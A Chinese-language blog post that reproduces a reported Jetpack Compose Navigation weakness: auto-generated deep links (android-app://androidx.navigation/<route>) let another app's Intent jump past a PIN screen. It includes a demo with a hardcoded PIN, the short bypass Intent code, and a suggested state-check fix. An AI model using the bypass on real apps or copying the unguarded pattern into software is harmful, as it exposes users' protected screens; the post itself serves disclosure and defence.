- 作者:老汪软件技巧
- 发表时间:2024-08-20 10:01
- 浏览量:
前言
今天早上在群里看到有佬分享了一篇文章,其描述了 Jetpack Navigation 在深层链接上的漏洞:
Android Jetpack Navigation: Go Even Deeper
感谢群友和这位作者让我们知道了这个情况,下面是我的的复现文章!
你可以直接阅读上面原作的地址,我只是希望分享这个事情!
什么是 DeepLink ?
这里其实就是在说 Scheme 只是他只能针对 Activity,而Compose和Fragment无法直接使用,所以在 Jetpack Navigation 中又进行了适配。
下面这样就是一个Compose Navigation的深层链接定义方式
val uri = "scx://example.com/"
composable(
"profile?id={id}",
deepLinks = listOf(navDeepLink { uriPattern = "$uri/{id}" })
) { backStackEntry ->
Profile(navController, backStackEntry.arguments?.getString("id"))
}
OK,接下来我们在网页这样写,点击,OK,我们就可以跳转到对应的 Profile 界面了!
<html>
<a href="scx://example.com/123456">Deep Link To DFragmenta>
html>
漏洞
从上面的文章来看,作者提供了一个APP正常的跳转顺序
显然我们想要进入第二个界面,就必须要先输入PIN码,否则无法达到第二个界面。
假如这是两个 activity ,我们将他们的 exported 设置为 false ,那么正常情况下没有 Root 的设备将无法直接打开后面的activity。
但是这个APP采用了 Compose Navigation 就像是下面这样
NavHost(
navController = navController,
startDestination = SuperSecureBankScreen.Pin.name,
modifier = Modifier....
) {
composable(route = SuperSecureBankScreen.Main.name) {
MainScreen(
onOpenWebButtonClicked = {
navController.navigate(
"${SuperSecureBankScreen.WebContent.name}/..."
)
}
)
}
composable(route = SuperSecureBankScreen.Pin.name) {
PinScreen(
onEnterButtonClicked = {
navController.navigate(
SuperSecureBankScreen.Main.name,
NavOptions.Builder().setPopUpTo(...)
}
)
}不再
composable(
route = "${SuperSecureBankScreen.WebContent.name}/{url}",
arguments = listOf(navArgument("url") { type = NavType.StringType }),
) { backStackEntry ->
val url = backStackEntry.arguments?.getString("url")!!
WebContentScreen(url)
}
}
这里我省略了一些东西只保留核心部分,我们可以看到,想要去MainScreen,就必须在PinScreen界面输入正确的密码。
是的,这看上去毫无问题,但是作者向我们介绍了另一个 APP 的内容:
Intent().apply {
setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")
data = Uri.parse("android-app://androidx.navigation/Main")
startActivity(this)
}
这就是一个隐式跳转,目标就是上图的 APP,我们发现他带了一个 data 这很关键,我第一眼就想到 Scheme,随后作者解释到这是个深层地址,而且是自动生成的!
看图我们发现 navController 中显示了自动产生的 deepLinks,问题在于开发者不知情!
作者通过这段代码直接进入到了MainScreen,他不需要密码,他越过了Pin的检测,这可就有大问题了,这意味着我们不做出改变也会遭到类似攻击。
我不知道大家是否注意到谷歌大会的这个内容:
利用 App + Web 技术打造高质量的跨平台内容
当然这里的深层链接更多的是媒体ID或者链接之类的,并不是我们今天的主题。
复现NavHost定义
这块我定义了简单的 NavHost ,可以看到,必须通过 PINScreen 才能进入 HomeScreen。
@Composable
fun PINScreen(
onToHome:()->Unit,
) {
Column(
Modifier
.fillMaxSize()
.padding(14.dp),
verticalArrangement = Arrangement.Center,
horizontalAlignment = Alignment.CenterHorizontally
) {
var inputText by remember { mutableStateOf("") }
TextField(
value = inputText,
onValueChange = {
inputText = it
},
label = { Text(text = "输入密码") },
)
Spacer(modifier = Modifier.height(10.dp))
Button(onClick = {
if (inputText == "123456") {
onToHome()
}
}) {
Text(text = "提交密码")
}
}
}
这个就是简单的页面,HomeScreen 并没有任何的内容,就不粘贴了。
自动生成复现
现在我们在 navHostController 和 PINScreen 内部进行断点。
当断点来到 PINScreen 时我们检查 navHostController
OMG真有!!!
丸辣,可以看出,这个默认生成的深层链接就是 android-app://androidx.navigation/ + 路由
利用漏洞复现
这里我从 PIN 到了 Home 界面,一切正常,接下来我们试着复现刚刚的代码!
这个是正常APP的流程
现在我们创建另一个APP编写代码
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
enableEdgeToEdge()
Intent().apply {
setClassName("com.example.composedemo1","com.example.composedemo1.MainActivity")
data = Uri.parse("android-app://androidx.navigation/home")
startActivity(this)
}
}
}
效果如下:
点击打开
可以看到这问题确实存在,绕过了PIN的检测,直接来到Home。
GIF放不下只能这样辣!
为什么有默认深层链接
作者提到了是这个函数
顺藤摸瓜找到了这个
的确,我们也找到了他!
好吧,现在我们是时候做出一些保护了!
保护措施
文章在最后提供的方法是
@Composable
fun HomeScreen(
viewModel: AppViewModel,
onNavigateToLoginScreen: () -> Unit = {}
) {
val viewState by viewModel.viewState.collectAsState()
when (viewState) {
AppViewModel.ViewState.Loading -> {
LoadingView()
}
AppViewModel.ViewState.NotLoggedIn -> {
LaunchedEffect(viewState) {
onNavigateToLoginScreen()
}
}
AppViewModel.ViewState.LoggedIn -> {
HomeScreenContent()
}
}
}
我认为这有效果,但是这个例子还不太清晰,我们可以在 viewState 的里检查下是否完成了PIN码激活或者登录,当一切就绪后再展示内容,否则展示错误画面!
文末
这里我用的库版本是2.8.0-beta06,大家有兴趣可以尝试下,如果你有类似问题应该及时做出处理!